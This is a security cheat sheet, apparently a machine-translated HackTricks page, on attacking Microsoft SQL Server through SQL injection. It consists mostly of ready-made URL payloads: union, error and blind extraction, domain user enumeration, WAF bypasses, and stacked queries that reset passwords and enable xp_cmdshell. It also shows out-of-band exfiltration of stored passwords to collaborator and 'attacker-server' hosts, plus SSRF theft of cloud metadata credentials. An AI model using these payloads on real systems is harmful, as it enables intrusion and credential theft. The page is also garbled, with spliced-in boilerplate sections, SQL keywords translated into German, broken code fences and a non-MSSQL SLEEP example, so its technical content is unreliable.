MSSQL Injection

MSSQL Injection

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Active Directory-Enumeration

Es ist möglicherweise möglich, Domänenbenutzer über SQL-Injection in einem MSSQL-Server aufzulisten, indem Sie die folgenden MSSQL-Funktionen verwenden:

  • SELECT DEFAULT_DOMAIN(): Aktuellen Domänennamen abrufen.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Wenn Sie den Namen der Domäne kennen (DOMAIN in diesem Beispiel), gibt diese Funktion die SID des Benutzers Administrator im hexadezimalen Format zurück. Dies sieht etwa so aus: 0x01050000000[...]0000f401. Beachten Sie, wie die letzten 4 Bytes die Zahl 500 im big endian-Format sind, was die übliche ID des Benutzers Administrator ist. Diese Funktion ermöglicht es Ihnen, die ID der Domäne zu kennen (alle Bytes außer den letzten 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Diese Funktion gibt den Benutzernamen der angegebenen ID zurück (falls vorhanden), in diesem Fall 0000e803 im big endian == 1000 (normalerweise ist dies die ID des ersten regulären Benutzers, der erstellt wurde). Dann können Sie sich vorstellen, dass Sie Benutzer-IDs von 1000 bis 2000 brute-forcen können und wahrscheinlich alle Benutzernamen der Benutzer der Domäne erhalten. Verwenden Sie beispielsweise eine Funktion wie die folgende:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Alternative Error-Based Vektoren

Fehlerbasierte SQL-Injections ähneln in der Regel Konstruktionen wie +AND+1=@@version-- und Varianten, die auf dem «OR»-Operator basieren. Abfragen, die solche Ausdrücke enthalten, werden normalerweise von WAFs blockiert. Um dies zu umgehen, verketten Sie einen String mit dem Zeichen %2b mit dem Ergebnis bestimmter Funktionsaufrufe, die einen Fehler bei der Datenkonvertierung auf den gesuchten Daten auslösen.

Einige Beispiele für solche Funktionen:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Beispielhafte Verwendung der Funktion USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Diese SSRF-Tricks wurden von hier übernommen

fn_xe_file_target_read_file

Es erfordert die Berechtigung VIEW SERVER STATE auf dem Server.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Es erfordert die Berechtigung CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Es erfordert die Berechtigung CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Gespeicherte Prozeduren wie xp_dirtree, die zwar von Microsoft nicht offiziell dokumentiert sind, wurden von anderen aufgrund ihrer Nützlichkeit bei Netzwerkoperationen in MSSQL beschrieben. Diese Prozeduren werden häufig zur Exfiltration von Daten außerhalb des Bandes verwendet, wie in verschiedenen Beispielen und Posts gezeigt.

Die gespeicherte Prozedur xp_dirtree wird beispielsweise verwendet, um Netzwerkanfragen zu stellen, ist jedoch auf den TCP-Port 445 beschränkt. Die Portnummer ist nicht änderbar, ermöglicht jedoch das Lesen von Netzwerkfreigaben. Die Verwendung wird im folgenden SQL-Skript demonstriert:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Es ist erwähnenswert, dass diese Methode möglicherweise nicht auf allen Systemkonfigurationen funktioniert, wie z.B. auf Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) unter Windows Server 2016 Datacenter mit den Standardeinstellungen.

Darüber hinaus gibt es alternative gespeicherte Prozeduren wie master..xp_fileexist und xp_subdirs, die ähnliche Ergebnisse erzielen können. Weitere Details zu xp_fileexist finden Sie in diesem TechNet-Artikel.

xp_cmdshell

Offensichtlich können Sie auch xp_cmdshell verwenden, um etwas auszuführen, das einen SSRF auslöst. Weitere Informationen finden Sie im entsprechenden Abschnitt auf der Seite:

page1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL-Benutzerdefinierte Funktion - SQLHttp

Das Erstellen einer CLR UDF (Common Language Runtime User Defined Function), bei der es sich um in einer beliebigen .NET-Sprache verfassten Code handelt, der in eine DLL kompiliert wird, um in MSSQL geladen zu werden und benutzerdefinierte Funktionen auszuführen, ist ein Vorgang, der dbo-Zugriff erfordert. Dies bedeutet, dass dies in der Regel nur möglich ist, wenn die Datenbankverbindung als sa oder mit einer Administratorrolle hergestellt wird.

Ein Visual Studio-Projekt und Installationsanweisungen werden in diesem Github-Repository bereitgestellt, um das Laden der Binärdatei in MSSQL als CLR-Assembly zu erleichtern und somit die Ausführung von HTTP GET-Anfragen innerhalb von MSSQL zu ermöglichen.

Der Kern dieser Funktionalität ist in der Datei http.cs zusammengefasst, die die Klasse WebClient verwendet, um eine GET-Anfrage auszuführen und den Inhalt abzurufen, wie unten dargestellt:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Vor der Ausführung des SQL-Befehls CREATE ASSEMBLY wird empfohlen, den folgenden SQL-Schnipsel auszuführen, um den SHA512-Hash der Assembly zur Liste der vertrauenswürdigen Assemblys des Servers hinzuzufügen (sichtbar über select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Nach erfolgreichem Hinzufügen der Assembly und Erstellen der Funktion kann der folgende SQL-Code verwendet werden, um HTTP-Anfragen durchzuführen:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Schnelle Ausnutzung: Abrufen des gesamten Tabelleninhalts in einer einzigen Abfrage

Trick von hier.

Eine prägnante Methode zum Extrahieren des vollständigen Inhalts einer Tabelle in einer einzigen Abfrage besteht darin, die FOR JSON-Klausel zu verwenden. Dieser Ansatz ist kürzer als die Verwendung der FOR XML-Klausel, die einen spezifischen Modus wie "raw" erfordert. Die FOR JSON-Klausel wird aufgrund ihrer Kürze bevorzugt.

So können Sie das Schema, die Tabellen und Spalten aus der aktuellen Datenbank abrufen:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
# MSSQL Injection

## Union-Based SQL Injection

### Basic Union-Based SQL Injection

To perform a basic union-based SQL injection attack on a MSSQL database, you can use the following payload:

https://vuln.app/getItem?id=1' UNION ALL SELECT NULL,NULL,NULL-- -


This payload appends a union statement to the original query, allowing you to retrieve data from other tables.

### Retrieving Database Information

To retrieve database information such as the database name, you can use the following payload:

https://vuln.app/getItem?id=1' UNION ALL SELECT NULL, DB_NAME(),NULL-- -


This payload uses the `DB_NAME()` function to retrieve the name of the current database.

### Retrieving Table Names

To retrieve the names of the tables in the current database, you can use the following payload:

https://vuln.app/getItem?id=1' UNION ALL SELECT NULL, TABLE_NAME,NULL FROM INFORMATION_SCHEMA.TABLES-- -


This payload queries the `INFORMATION_SCHEMA.TABLES` view to retrieve the table names.

### Retrieving Column Names

To retrieve the names of the columns in a specific table, you can use the following payload:

https://vuln.app/getItem?id=1' UNION ALL SELECT NULL, COLUMN_NAME,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='your_table_name'-- -


Replace `'your_table_name'` with the name of the table you want to retrieve column names from.

### Retrieving Data

To retrieve data from a specific table and column, you can use the following payload:

https://vuln.app/getItem?id=1' UNION ALL SELECT NULL, your_column_name,NULL FROM your_table_name-- -


Replace `'your_column_name'` with the name of the column you want to retrieve data from, and `'your_table_name'` with the name of the table.

## Error-Based SQL Injection

### Retrieving Database Version

To retrieve the version of the MSSQL database, you can use the following payload:

https://vuln.app/getItem?id=1' AND 1=(SELECT @@VERSION)-- -


This payload uses the `@@VERSION` variable to retrieve the database version.

### Retrieving Error Messages

To retrieve error messages that may contain sensitive information, you can use the following payload:

https://vuln.app/getItem?id=1' AND 1=(SELECT 1/0)-- -


This payload triggers a division by zero error, which can reveal error messages containing useful information.

## Time-Based Blind SQL Injection

### Retrieving Database Information

To retrieve database information using time-based blind SQL injection, you can use the following payload:

https://vuln.app/getItem?id=1' AND SLEEP(5)-- -


This payload causes a delay of 5 seconds if the condition is true, indicating a successful injection.

### Retrieving Data

To retrieve data using time-based blind SQL injection, you can use the following payload:

https://vuln.app/getItem?id=1' AND (SELECT COUNT(*) FROM your_table_name) > 0-- -


Replace `'your_table_name'` with the name of the table you want to retrieve data from.

## Conclusion

MSSQL injection attacks can be performed using various techniques such as union-based, error-based, and time-based blind SQL injection. These techniques allow you to retrieve sensitive information from the database, such as database names, table names, column names, and data. It is important to properly sanitize user input and use prepared statements to prevent SQL injection vulnerabilities.

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

## MSSQL Injection

### Union-Based SQL Injection

#### Description

Union-based SQL Injection is a technique used to exploit vulnerabilities in a web application's database layer. It involves injecting malicious SQL code into user input fields, which can then be executed by the database server.

#### Example

Consider the following vulnerable URL:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null


In this example, the `id` parameter is vulnerable to SQL injection. The injected code uses the `UNION SELECT` statement to retrieve data from the `sys.dm_exec_requests` and `sys.dm_exec_sql_text` tables.

#### Impact

By exploiting a Union-based SQL Injection vulnerability, an attacker can gain unauthorized access to sensitive information stored in the database. This can include usernames, passwords, and other confidential data.

#### Mitigation

To prevent Union-based SQL Injection attacks, it is important to implement proper input validation and parameterized queries. Additionally, keeping database software up to date and applying security patches can help mitigate the risk of SQL injection vulnerabilities.

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Dieser SQL-Befehl ruft die Funktion fn_my_permissions auf, um die Berechtigungen des aktuellen Benutzers für den angegebenen Server abzurufen. Die WHERE-Klausel filtert die Ergebnisse, um nur die Berechtigung "VIEW SERVER STATE" anzuzeigen.


## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

MSSQL Injection

Union-Based SQL Injection

Introduction

Union-based SQL Injection is a technique used to exploit vulnerabilities in web applications that are connected to a Microsoft SQL Server (MSSQL) database. This type of injection occurs when an attacker is able to manipulate the SQL query being executed by the application, allowing them to retrieve unauthorized data from the database.

Exploiting the Vulnerability

To exploit a union-based SQL Injection vulnerability, the attacker needs to identify a point in the application where user input is directly included in an SQL query without proper sanitization or validation. This can often be found in URL parameters, form inputs, or cookies.

Once the vulnerable parameter is identified, the attacker can inject malicious SQL code to manipulate the query and retrieve sensitive information. In the provided example, the vulnerable parameter is id, which is included in the SQL query without proper sanitization.

Example

Let's consider the following URL:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

In this example, the attacker appends the payload 1%C2%85union%C2%85select%C2%A0null,@@version,null-- to the id parameter. This payload performs a union-based SQL Injection attack by injecting a UNION SELECT statement into the original query.

The injected code union select null,@@version,null retrieves the version of the MSSQL server. The @@version function returns the version information of the database server.

Mitigation

To prevent union-based SQL Injection attacks, it is crucial to implement proper input validation and sanitization techniques. Here are some recommended mitigation measures:

  • Use parameterized queries or prepared statements to ensure that user input is properly escaped and treated as data, rather than executable code.

  • Implement strict input validation to reject any input that does not conform to the expected format.

  • Regularly update and patch the MSSQL server to mitigate any known vulnerabilities.

By following these best practices, you can significantly reduce the risk of union-based SQL Injection attacks.


Scientific (0e) and hex (0x) notation for obfuscating UNION:

MSSQL-Injection

Union-Based SQL-Injection

Angriffspunkte

  • GET-Parameter

  • POST-Parameter

  • Cookies

Techniken

Union-Abfrage

Die Union-Abfrage ermöglicht es uns, Daten aus verschiedenen Tabellen zu kombinieren. Wir können diese Technik verwenden, um Informationen aus der Datenbank abzurufen, auf die wir normalerweise keinen Zugriff haben.

Fehlerbasierte Union-Abfrage

Diese Technik basiert auf der Ausnutzung von Fehlern, die während der Union-Abfrage auftreten. Wir können Fehlermeldungen verwenden, um Informationen über die Datenbankstruktur zu erhalten.

Blind Union-Abfrage

Bei dieser Technik können wir keine Fehlermeldungen sehen, aber wir können die Wahrheitswerte der Abfragen überprüfen. Wir können dies nutzen, um Informationen aus der Datenbank abzurufen.

Beispiel

GET-Parameter

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

In diesem Beispiel verwenden wir die Union-Abfrage, um die Version der MSSQL-Datenbank abzurufen. Wir fügen den Ausdruck union select null,@@version,null in den GET-Parameter id ein. Durch die Verwendung von null als Platzhalter können wir die Anzahl der Spalten in der Abfrage anpassen.

Gegenmaßnahmen

  • Verwenden Sie Prepared Statements oder Parameterized Queries, um SQL-Injection-Angriffe zu verhindern.

  • Überprüfen und validieren Sie alle Benutzereingaben, bevor Sie sie in SQL-Abfragen verwenden.

  • Aktualisieren Sie regelmäßig Ihre Datenbank-Engine, um bekannte Sicherheitslücken zu schließen.


A period instead of a whitespace between FROM and a column name:

MSSQL Injection

Union-Based SQL Injection

Introduction

Union-based SQL Injection is a technique used to exploit vulnerabilities in web applications that are connected to a Microsoft SQL Server (MSSQL) database. This type of attack allows an attacker to retrieve sensitive information from the database by injecting malicious SQL code into the application's input fields.

Exploiting the Vulnerability

To exploit a Union-based SQL Injection vulnerability, an attacker needs to identify a vulnerable input field in the web application. This input field should be used in a SQL query without proper sanitization or validation.

The following example URL demonstrates a Union-based SQL Injection attack:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

In this example, the id parameter is vulnerable to SQL Injection. The attacker appends the payload 1 union select null,@@version,null from.users-- to the id parameter.

Understanding the Payload

Let's break down the payload used in the example URL:

1 union select null,@@version,null from.users--
  • 1 is the original value of the id parameter.

  • union is a SQL keyword used to combine the result sets of two or more SELECT statements.

  • select null,@@version,null is the injected SQL code. null is used as a placeholder for the columns that the attacker wants to retrieve. @@version is a MSSQL server variable that returns the version information.

  • from.users specifies the table from which the attacker wants to retrieve data.

  • -- is a comment in SQL, which is used to ignore the rest of the original query.

Impact of the Attack

By successfully exploiting a Union-based SQL Injection vulnerability, an attacker can retrieve sensitive information from the database. This information may include usernames, passwords, and other confidential data.

Prevention

To prevent Union-based SQL Injection attacks, it is crucial to implement proper input validation and sanitization techniques. Additionally, using parameterized queries or prepared statements can help protect against SQL Injection attacks by automatically handling input sanitization. Regularly updating and patching the MSSQL server can also help mitigate the risk of SQL Injection vulnerabilities.


\N separator between SELECT and a throwaway column:

MSSQL Injection

Beschreibung

MSSQL Injection ist eine Technik, bei der Schwachstellen in einer MSSQL-Datenbank ausgenutzt werden, um unerlaubten Zugriff auf die Datenbank zu erlangen oder schädlichen Code einzufügen. Diese Technik basiert auf der Ausnutzung von SQL-Injection-Schwachstellen in Webanwendungen, die eine MSSQL-Datenbank als Backend verwenden.

Beispiel

Angenommen, wir haben eine verwundbare Webanwendung mit der folgenden URL:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

In diesem Beispiel wird die id-Parameter in der URL verwendet, um eine SQL-Abfrage auszuführen. Der verwundbare Code führt die Abfrage SELECT * FROM items WHERE id = '0xunion select\Nnull,@@version,null from users--' aus.

Durch die Verwendung von 0xunion select\Nnull,@@version,null als Wert für die id-Parameter wird eine SQL-Injection-Schwachstelle ausgenutzt. Die @@version-Funktion wird verwendet, um die Version der MSSQL-Datenbank abzurufen.

Auswirkungen

Durch eine erfolgreiche MSSQL-Injection können Angreifer auf vertrauliche Daten in der Datenbank zugreifen, Daten ändern oder löschen und sogar schädlichen Code in der Datenbank ausführen. Dies kann zu erheblichen Sicherheitsverletzungen und Datenlecks führen.

Schutzmaßnahmen

Um MSSQL-Injection-Angriffe zu verhindern, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, bevor sie in SQL-Abfragen verwendet werden. Die Verwendung von parametrisierten Abfragen oder ORM-Frameworks kann ebenfalls dazu beitragen, SQL-Injection-Angriffe zu verhindern.

Es ist auch wichtig, die MSSQL-Datenbank auf dem neuesten Stand zu halten und alle Sicherheitspatches und Updates zu installieren, um bekannte Schwachstellen zu beheben.


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

Verwende [tempdb]
Erstelle Tabelle [test] ([id] int)
Füge [test] Werte hinzu (1)
Wähle [id] aus [test]
Lösche Tabelle [test]

Can be reduced to:

Verwenden Sie [tempdb] Erstellen Sie eine Tabelle [test] ([id] int) Einfügen [test] Werte (1) Wählen Sie [id] aus [test] Löschen Sie die Tabelle [test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Hinzufügen eines nutzlosen exec() am Ende und Täuschung der WAF, dass dies keine gültige Abfrage ist
admina'union select 1,'admin','testtest123'exec('select 1')--
## Dies wird sein:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Verwendung seltsam aufgebauter Abfragen
admin'exec('update[users]set[password]=''a''')--
## Dies wird sein:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Oder Aktivierung von xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Dies wird sein:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated